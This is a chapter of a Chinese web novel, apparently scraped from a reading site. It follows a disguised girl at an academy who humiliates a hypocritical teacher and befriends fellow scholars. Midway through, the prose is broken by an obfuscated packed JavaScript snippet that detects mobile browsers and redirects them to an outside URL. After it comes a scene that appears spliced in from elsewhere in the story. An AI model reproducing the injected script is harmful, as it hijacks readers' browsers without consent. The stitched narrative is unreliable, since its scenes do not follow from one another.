默认冷灰
24号文字
方正启体

17. 涵章书院

作者:卷兔本书字数:K更新时间:
    这下真正惹火了乔绒,“为师?”


    就你这等阴私虚伪之辈,也敢称为师?


    乔绒眸光冷冷,“恐怕此言差矣,弟子不必不如师,闻道有先后,术业有专攻,你或许经文上比他强一些,但别的地方却远远不及他。”


    “哼,你不学无术,倒是会逞口舌之快,你以为狡言善辩就能颠倒黑白么?!”


    “这话说的对,不论怎么狡言善辩都没法颠倒是非,你再怎么满口德行,只要看看自己所作所为,就一目了然,成师傅,你敢么?”


    若不是程啸白告诉她成仁成义两兄弟做的那些事,她怎么会知道他们一个个道貌岸然人面兽心,整天把礼义廉耻挂在嘴边,实际做的都是畜生才会做的事。


    若是理亏心虚也就算了,偏偏张口闭口教训别人,她便要让他看看什么是公道。


    果然,成仁已经气急败坏,提着戒尺怒目而视,“我有何不敢,你血口喷人,我饶不了你!”


    乔绒脸色毫无畏惧,“若我没有血口喷人,我不但要你遣散家人,还要你给曹兄道歉。”


    成仁碍着这里有这么多的人,脸色难看极了,手里的戒尺快被捏断,咬着牙道,“岂有此理,孽障……给我跪下!”


    乔绒一把抓住了曹楚的衣领,弯起嘴角轻笑一下,“不要搞错了,他可不是你家的小妾,你说跪下就跪下!”


    提及小妾,成义脸上又黑又红,气的要冒烟,“敝府所有侧室不过夫人嫁来的陪侍,成家未曾娶过妾!”


    “那这么说,先生就是和夫人的陪侍在令尊丧期有喜了?那真是可贺啊!”


    她这话一出,旁边的曹楚忍不住扑哧一声笑了出来。


    “你!今日要是不把话说清楚,但凭辱骂师长伤天害理这一条,我必将你逐出书院!”


    成义听到这边闹出的动静,已经赶过来了,叫了一声“大哥!”。


    乔绒笑着看了眼成义,“成师傅不如问问他,究竟是谁伤天害理?”


    成义脸色发黑,阴沉地盯着她,连忙道,“大哥,不可与小人一般见识,失了你我二人的体面!”


    成仁恼怒至极,还想举起戒尺朝她打下,成义一把接过,疼得钻心,忍住了龇牙咧嘴的表情,在他耳边低声了几句,“……”


    成仁最好面子,这会儿听到自己兄弟的话,险些把他气死。


    他眼底惊骇,面色沉沉,重重地哼了一声,头也不回地离开。


    乔绒几乎一战成名。


    其实书院里也有很多人看不惯毕贞和成家那群人的作风,只不过无力反抗,乔绒的出现无疑带给了他们希望。


    “快看,乔院生,那位就是乔院生。”两个人在廊下窃窃私语,眼里透着某种艳羡。


    “想不到小小年纪,竟然如此勇毅非凡,果然英雄出少年,你我自当汗颜。”


    “那位曹兄不惧毕某,也是响当当的人物。”


    两人走上前,先向曹楚点了点头,然后一同向乔绒行了个礼,“今日结识乔院生,方知我辈不虚来此。”


    “我叫方客。”


    “我叫裴嗣。”


    “久仰。”


    “哦,方兄裴兄,你们好呀。”乔绒笑着也是拱手一礼。


    “我和裴兄想邀二位凉亭小聚一叙闲话,不知可否移步……”


    乔绒爽朗道,“好啊,走!”


    望月亭已经坐了七八个年轻的读书人,看见他们过来,全都站起身,一齐行礼,方客和裴嗣在还礼之际,向他们出言介绍,“这位就是鼎鼎大名的乔院生,我终于为各位请来了。”


    “乔院生,想不到如此年纪,竟能大义凛然,”一个身材高大健壮的男子带着自愧摇头道。


    他们少说也有一二十岁,却全都不如一个尚未及冠的少年,这怎能叫他不自觉羞愧。


    “乔院生别误会,这位是孔兄,向来心直口快,但绝无不敬之意,我等可以保证。”裴嗣道。


    被称为孔兄的高大男子向乔绒行礼道,“孔浩然。”


    “孔兄所言才是令我汗颜,只不过做不到曲意逢迎,哪里称得上大义凛然,我行事冒失,今后要仰仗各位提点了。”乔绒笑着躬身还礼。


    众人相视一笑,连忙把乔绒让到中间,“快快请坐,快快请坐!”


    方客拿起茶壶,亲自给她斟茶,顿时清香阵阵。


    乔绒被他们围在中间,笑盈盈地看着他们,手捧茶盏,对方客道谢。


    “我早就想结识乔院生了,敢问尊兄是何处人氏,令尊令堂贵庚,家中可有姊妹,兄弟几人,在朝为官还是……?”


    乔绒笑眯眯地道,“我是广安府生人,今年十五,父母已故,并无兄姊,家中唯有舅父,世袭魏国公。”


    众人无不惊诧连连,心下感慨万千,他才不过十五岁,父母就已身故,留下他孤苦伶仃,身旁连一个半个胞兄姊妹都没有,虽有个尊荣无比的国公舅舅,可也只不过是个舅父,常日里寄人篱下,必定有苦难言。


    即便是出身公侯世家,却连他们这些普通人把酒言欢吟诗奏乐的乐趣都没有。


    真是可怜啊,他这样的身世,却还能不卑不亢,刚正不阿,方客激动到险些落下泪来,恨不能早日与他相识结为兄弟,也好过一人这么些年无依无靠。


    他鼓足勇气道,“若不弃在下愚鲁,我愿与乔院生结为兄弟,天地亲朋为证,改日再设宴席拜过高堂。”


    “恐怕不能,”乔绒依旧笑得眉眼弯弯,“我是女子。”


    虽说涵章书院从来没有明令规定不收女子,可作为天下第一大书院,天南海北学生众多,也不乏品行低劣之人,京城的权勋豪贵自有私塾先生教导,根本不会把家中千金送来,与一群男子朝夕相处。


    只有乔绒这样无人管教,自己又半点不上进的,几次三番装病推脱,肃王殿下没有办法才派人把她送到这个地方管束。


    一群书生脸上的表情已经不是惊愕交加足以形容的了。


    他们只以为她年纪尚小,身量未足,又生得太过细嫩,哪里想过她其实是个女子。


    乔绒还怕他们不信,微微挑眉拍拍曹楚,“曹兄可以作证。”


    曹楚呆呆地坐在那,像是已经傻掉了。


    乔绒对他完全放弃,转而笑着道,“难道诸位得知我是女子,就不与我结交了么?”


    方客很快反应过来,“不,我自愿和乔院生结交,与男女身世年龄皆无关。”


    “我也是。”裴嗣道。


    孔浩然也点头,“当然,我正有此意。”


    “我也是,我也是……”


    一圈人全部向她拱手点头,只剩下呆呆的曹楚还一言不发,他不仅未能发现乔绒是女子,而且也未能来得及表态。


    “曹兄,你怎么了?”身旁有人问道。


    他方才如梦初醒,“哦哦,我……”


    乔绒道,“不必强迫他,大家去留随意。”


    “乔小弟……哦,不,”他脸色一红,赶忙解释道,“我其实不在意的,但我能不能还叫你乔小弟……”


    “我要是说不行呢。”


    曹楚呆愣着不知所措,其


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298819|198561||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他人哈哈大笑,他才明白,乔绒只是与他开玩笑罢了。


    “看守封城大营的守备是龚宪,他与肃王关系甚好,别说你我,就是九皇子都难以插手。”


    他们早就知道,肃王看似把她送去念书,其实是在变相地保护她,甚至不惜动用了程啸白,那个京城达官显贵人人畏惧的武器。


    贺云熙道,“她总不可能一直留在封城大营。”


    颜思睿笑了一声,“当然不可能,毕竟婚期将近。”


    这是个冷笑话。一旦跟乔绒成亲,就意味着他一身才能再无用武之地,仕途无望,颜家绝嗣,以及自己永远蒙受着耻辱,哪怕连最下等的仆役小厮也比不上。


    与其说是婚期,不如说是死期。


    这人还有玩笑的心思。


    贺云熙没有说话,要不是他知道这个丞相之子明明对乔绒厌憎至极,连他也要觉得颜思睿并不在意。


    因此就算封城那个地方连九皇子的手都伸不进去,他也不认为他就会毫无办法,“所以你拿到了什么消息。”


    颜思睿含笑取出了身上的密信,正要印证自己的猜想,当他看清楚上面的字迹,笑意就消失不见了。


    他发现乔绒不但没有被逐出书院颜面扫地,令肃王蒙羞,反倒在清流中成为了受人追捧的对象。


    那些清流大多占据言官御史一类的职位,虽然位卑官小,但把持舆论足以影响朝政,这绝不是钱能买来的,获得他们的支持,远比那些富家仕宦要珍贵得多,倘若能换得那些人推心置腹,将来收益不可限量。


    现在看来,乔绒得罪成家哪里是城府不够,简直聪明绝顶,竟然反手获得了清流的青睐。


    到这一刻,他才明白,自己不得不重新开始正视她了。


    她不但不是那个曾经的乔绒,而且早已超出了他如今的想象。


    “来来来,方兄倒茶!”


    方客又笑着为他们斟满了一杯,一个个指着他们道,“我倒看看我这好茶全都进了谁的肚子里。”


    “喝你杯茶,怎地还要报答你不成。”孔浩然故意鄙夷道。


    “哎,这就是你的不对了,我这茶别名锦心绣口,喝了自当吟诗作赋舌灿莲花,你喝了它,若只当是解渴,那便是饮牛饮马了!”围坐在一起的读书人哈哈大笑。


    方客道,“如此可不能便宜了他,还不该作一首诗来听听么,我哪里是要什么报答,是这茶要的‘报答’!”


    “哈哈哈哈!”


    裴嗣听出了他的话意,“那你是要我们做做文章,比比才情,方才不辜负你这好茶,不然就成了那牛马。”


    “对喽!我要出题,看谁答得最好,我这茶便是进了谁的肚子里!”


    曹楚有些忐忑不安,担心自己不够风雅,亦或是出了丑,“我就算了吧……”


    方客连忙道,“哎呀曹兄过谦了,这样吧,待会儿裴兄先来,就容你多想片刻。”


    见曹楚坐立不安,乔绒心说你有什么好紧张的,一个正经八百的古人,接受过诗词书画教育的,虽说不及别人出口成章,但作诗一首根本不在话下。


    反倒是她,尽管穿来好几年了,也只学了些杀手窝的看家本领,打家劫舍或许可以,舞文弄墨是半点也不在行的。


    她朝曹楚使了个眼色,意思是放心大胆地做吧,总归有她垫底,反正她又不在乎丢脸。


    曹楚却错会了她的意思,便朝她点了点头。


    方客看着宴席一片笑语欢声,突然福至心灵,出题道,“就以今日宴席为题,诗词不限,裴兄,你先来!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)